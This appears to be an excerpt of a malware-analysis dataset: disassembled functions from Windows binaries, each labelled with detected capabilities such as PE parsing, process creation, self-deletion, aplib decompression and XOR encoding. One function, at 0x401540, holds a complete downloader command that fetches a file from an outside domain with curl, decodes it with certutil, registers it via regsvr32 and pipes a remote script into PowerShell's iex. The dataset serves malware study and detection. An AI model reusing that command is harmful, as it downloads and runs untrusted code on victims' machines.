joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004045e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004045f0]
mov dword [rax], 1
mov rax, qword [0x00404600]
mov dword [rax], 1
mov rax, qword [0x004045d0]
mov dword [rax], 1
mov rax, qword [0x004044a0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010d0
mov rax, qword [0x004045c0]
mov dword [0x00407020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010c0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404580]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x00404560]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404450]
cmp dword [rax], 1
je 0x401108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401120
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401540
Capabilities:
Create process on windows
Reference http user-agent string
Self delete

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
call sym.__main
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe__c_echo_Accomplishment..__curl__s__o__temp_2313dll.dat____user_agent__Mozilla_5.0___https:__appdownload.cfd_dll.dat_2_nul__certutil__decode__temp_2313dll.dat__temp_2313dll.dll__nul_2_1__del__temp_2313dll.dat__nul_2_1__regsvr32__s__temp_2313dll.dll__powershell__Command__irm_https:__get.activated.win__iex___nul_2_1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xe0
pop rbp
ret

Function at 0x401970
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x4019e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x004070c4]
mov r12, rcx
test ebx, ebx
jle 0x401b10
mov rax, qword [0x004070c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x401a2c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401ab3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x401a10
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x401b32
mov rax, qword [0x004070c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004070c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401b17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401aac
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x401ac0
add dword [0x004070c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x004070c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401aac
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x401a37
mov rax, qword [0x004070c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x402120
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp edx, 2
je 0x4021e0
ja 0x402168
test edx, edx
je 0x4021f8
mov eax, dword [0x00407108]
test eax, eax
je 0x4022d0
mov dword [0x00407108], 1
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
ret
cmp edx, 3
jne 0x402154
mov eax, dword [0x00407108]
test eax, eax
je 0x402154
lea rcx, [0x00407120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00407100]
test rbx, rbx
je 0x4021cc
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4022f8
test r12, r12
je 0x4022f8
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4021a0
lea rcx, [0x00407120]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x402154
call sym._fpreset
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
ret
mov eax, dword [0x00407108]
test eax, eax
jne 0x402260
mov eax, dword [0x00407108]
cmp eax, 1
jne 0x402154
mov rbx, qword [0x00407100]
test rbx, rbx
je 0x402231
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call sub.msvcrt.dll_free
test rbx, rbx
jne 0x402220
lea rcx, [0x00407120]
mov qword [0x00407100], 0
mov dword [0x00407108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x402154
lea rcx, [0x00407120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00407100]
test rbx, rbx
je 0x4022b4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4022e8
test r12, r12
je 0x4022e8
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402290
lea rcx, [0x00407120]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x402202
lea rcx, [0x00407120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x40214a
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402290
jmp 0x4022b4
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4021a0
jmp 0x4021cc

Function at 0x402310
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x402328
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x402330
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x402340
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x40238c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x402383
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x40238e
add rax, 0x28
cmp rax, r9
jne 0x402370
xor eax, eax
ret
Function at 0x402390
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x402420
mov rdx, qword [0x004044a0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x40240e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40240e
cmp word [rax + 0x18], 0x20b
jne 0x40240e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402420
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x4023f9
add r12, 0x28
cmp r12, rsi
je 0x402420
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x4023f0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x402430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x004044a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x402450
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x402458
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402450
movzx eax, word [rdx + 0x14]
sub rcx, r8
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x40249d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402494
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402450
add rax, 0x28
cmp rax, r9
jne 0x402480
xor eax, eax
ret

Function at 0x4024a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004044a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4024c0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4024c8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x4024c0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x4024e0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x004044a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x402500
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x402508
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402500
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x402548
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x40253f
test rcx, rcx
je 0x402500
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x402530
xor eax, eax
ret

Function at 0x402550
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004044a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402570
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x402578
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x402590
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x004044a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4025b0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x4025b8
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x4025b0
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x4025b0
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x4025f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402608
add rax, 0x28
cmp r9, rax
jne 0x4025e0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x402620
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x004044a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x402644
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
je 0x402650
mov rax, r9
ret
cmp word [rcx + 0x18], 0x20b
jne 0x402644
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x402644
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402644
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x402694
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x4026a8
add rdx, 0x28
cmp r10, rdx
jne 0x402680
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x4026b8
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x4026c6
mov edx, dword [rax + 0xc]
test edx, edx
je 0x40269d
test r8d, r8d
jg 0x4026b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140602058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406021df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140602089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060206f
add dl, dl
jne 0x140602096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406020f6
xor eax, eax
add dl, dl
jne 0x1406020a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406021ad
add dl, dl
jne 0x1406020b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406020c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406020d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406020dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406020ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060207e
mov eax, 1
add dl, dl
jne 0x140602106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140602113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406020fb
sub eax, ebx
mov ebx, 1
jne 0x14060214c
mov ecx, 1
add dl, dl
jne 0x14060212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140602123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140602168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140602175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060215d
cmp eax, 0x7d00
jae 0x14060219b
cmp eax, 0x500
jb 0x140602196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060207e
cmp eax, 0x7f
ja 0x14060219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406021d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140011590
Capabilities:
Reference wmi statements

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x30], 0
mov r15, qword [rdx + 0x10]
test r15, r15
je 0x140011667
lea rcx, [0x14008f2b6]
call sub.oleaut32.dll_SysAllocString
mov rbx, rax
lea rcx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call sub.oleaut32.dll_SysAllocString
mov r14, rax
mov rcx, qword [rsi + 0x18]
mov rax, qword [rcx]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov r8, r14
mov r9d, 0x30
call qword [rax + 0xa0]
mov ebp, eax
mov rcx, rbx
call sub.oleaut32.dll_SysFreeString
mov rcx, r14
call sub.oleaut32.dll_SysFreeString
test ebp, ebp
js 0x140011667
mov rbx, qword [rsp + 0x30]
cmp qword [rsi + 0x20], 0
je 0x140011633
mov rcx, qword [rsi + 0x28]
test rcx, rcx
je 0x140011633
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsi + 0x20], 1
mov qword [rsi + 0x28], rbx
mov rax, qword [rsi + 0x30]
mov qword [rdi + 0x30], rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
mov rax, qword [rsi + 0x28]
mov qword [rdi + 0x28], rax
jmp 0x1400116cf
mov qword [rdi], 2
mov rcx, qword [rsi + 0x28]
cmp qword [rsi + 0x20], 0
mov qword [rsi + 0x20], 0
je 0x14001168c
test rcx, rcx
je 0x14001168c
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
test r15, r15
je 0x1400116a8
test rcx, rcx
je 0x1400116a8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsi + 8]
cmp qword [rsi], 0
mov qword [rsi], 0
je 0x1400116c4
test rcx, rcx
je 0x1400116c4
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp byte [rsi + 0x30], 0
je 0x1400116cf
call fcn.1400431dc
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140012860
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x1400128a2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x1400128aa
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400128bb
jmp 0x1400128d2
xor r10d, r10d
jmp 0x14001295d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x1400128d2
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x1400128e9
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140012909
add r11, r8
jmp 0x140012a3b
mov rcx, qword [rax + 0x18]
xor rcx, rsi
mov rdi, qword [rax + 0x10]
mov r9, qword [rax]
add r9, rdi
mov r11, qword [rax + 8]
add r11, rcx
rol rdi, 0xd
xor rdi, r9
rol rcx, 0x10
rol r9, 0x20
xor rcx, r11
add r11, rdi
rol rdi, 0x11
add r9, rcx
xor rdi, r11
rol rcx, 0x15
mov qword [rax + 0x10], rdi
xor rcx, r9
rol r11, 0x20
mov qword [rax + 0x18], rcx
mov qword [rax + 8], r11
xor r9, rsi
mov qword [rax], r9
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x1400129d2
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
mov rbx, qword [rdx + r10]
xor rdi, rbx
add rcx, rsi
rol rsi, 0xd
add r9, rdi
xor rsi, rcx
rol rdi, 0x10
xor rdi, r9
rol rcx, 0x20
add r9, rsi
add rcx, rdi
rol rsi, 0x11
xor rsi, r9
rol rdi, 0x15
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x140012980
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x1400129f0
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140012a02
jmp 0x140012a1d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x140012a1d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140012a37
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140014700
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rax, rdx
mov rdi, rcx
lea rdx, [rbp - 4]
mov rcx, rax
call sub.shell32.dll_CommandLineToArgvW
test rax, rax
je 0x140014802
mov rsi, rax
mov qword [rbp - 0x28], rdi
movsxd rax, dword [rbp - 4]
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 8
mov qword [rbp - 0x10], 0
lea r13, [rsi + rax*8]
lea rbx, [rbp - 0x40]
lea r14, [rbp - 0x58]
lea r15, [rbp - 0x20]
mov rdi, rsi
jmp 0x1400147a4
add rdi, 8
mov rax, qword [rbp - 0x18]
lea rcx, [r12 + r12*2]
mov rdx, qword [rbp - 0x30]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rax + rcx*8], xmm0
inc r12
mov qword [rbp - 0x10], r12
cmp rdi, r13
je 0x1400147e5
mov r12, qword [rdi]
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rax, [r12 + rax*2]
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], rax
mov word [rbp - 0x48], 0
mov rcx, rbx
mov rdx, r14
call fcn.140019f80
mov r12, qword [rbp - 0x10]
cmp r12, qword [rbp - 0x20]
jne 0x140014780
mov rcx, r15
call fcn.1400185d0
jmp 0x140014780
mov rcx, rsi
call sub.KERNEL32.DLL_LocalFree
movups xmm0, xmmword [rbp - 0x20]
mov rcx, qword [rbp - 0x28]
movups xmmword [rcx], xmm0
mov rax, qword [rbp - 0x10]
mov qword [rcx + 0x10], rax
jmp 0x140014819
mov qword [rdi], 0
mov qword [rdi + 8], 8
mov qword [rdi + 0x10], 0
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140024c30
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov r14, rdx
mov rsi, rcx
movups xmm0, xmmword [rdx + 0x38]
movups xmm1, xmmword [rdx + 0x48]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov rax, qword [rdx + 0x28]
movzx ebx, byte [rdx + 0x30]
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x50], rax
mov byte [rbp - 0x48], bl
movzx eax, byte [0x1400aa841]
mov ecx, 0x5f0
mov edx, 8
call fcn.14000bf10
test rax, rax
mov qword [rbp - 8], r14
je 0x140024ea0
mov rdi, rax
mov r8d, 0x5f0
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rax, qword [r14 + 0x60]
mov qword [rbp - 0x18], rax
movabs rcx, 0x7465646279746573
movabs rdx, 0x6c7967656e657261
movabs r8, 0xa60c596fc19fead0
movabs r9, 0xded7d4e2d7dedfc6
movabs r10, 0xe414a674f0de7325
movabs r11, 0x800000000000000
mov r13d, 1
lock xadd qword [0x1400aa858], r13
mov r14, r13
xor r14, rcx
mov rax, r14
rol rax, 0x10
lea r15, [r14 + rdx]
xor rax, r15
add r14, r8
lea r15, [rax + r9]
mov r12, r14
xor r12, r10
rol rax, 0x15
rol r14, 0x20
xor r13, r15
xor r15, r11
xor r15, rax
add r13, r12
rol r12, 0xd
add r14, r15
xor r12, r13
rol r15, 0x10
xor r15, r14
rol r13, 0x20
add r14, r12
add r13, r15
rol r12, 0x11
xor r12, r14
rol r15, 0x15
rol r14, 0x20
xor r15, r13
xor r13, r11
xor r14, 0xff
add r13, r12
add r14, r15
rol r12, 0xd
xor r12, r13
rol r15, 0x10
rol r13, 0x20
xor r15, r14
add r14, r12
rol r12, 0x11
add r13, r15
xor r12, r14
rol r15, 0x15
xor r15, r13
rol r14, 0x20
add r13, r12
add r14, r15
rol r12, 0xd
xor r12, r13
rol r15, 0x10
rol r13, 0x20
xor r15, r14
add r14, r12
rol r12, 0x11
add r13, r15
xor r12, r14
rol r15, 0x15
xor r15, r13
rol r14, 0x20
add r13, r12
add r14, r15
rol r12, 0xd
xor r12, r13
rol r15, 0x10
xor r15, r14
add r14, r12
rol r12, 0x11
rol r15, 0x15
mov r13, r14
rol r13, 0x20
xor r13, r12
xor r13, r15
xor r13, r14
je 0x140024cf0
mov rcx, qword [rbp - 8]
mov rax, qword [rcx + 0x58]
movaps xmm0, xmmword [rbp - 0x40]
movaps xmm1, xmmword [rbp - 0x30]
movups xmmword [rsi + 0x128], xmm1
movups xmmword [rsi + 0x118], xmm0
mov rdx, qword [rbp - 0x10]
mov qword [rsi + 0x138], rdx
mov byte [rsi + 0x140], bl
mov qword [rsi], 0
mov qword [rsi + 8], rdi
mov qword [rsi + 0x80], 0
mov qword [rsi + 0x88], rdi
mov rdx, qword [rbp - 0x18]
mov qword [rsi + 0x100], rdx
mov qword [rsi + 0x108], r13
mov qword [rsi + 0x110], rax
mov rdx, qword [rcx + 0x10]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140024e8c
test rdx, rdx
je 0x140024e8c
mov rcx, qword [rcx + 0x18]
mov r8d, 1
call fcn.14000bf20
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 8
mov edx, 0x5f0
call fcn.140048cd0
ud2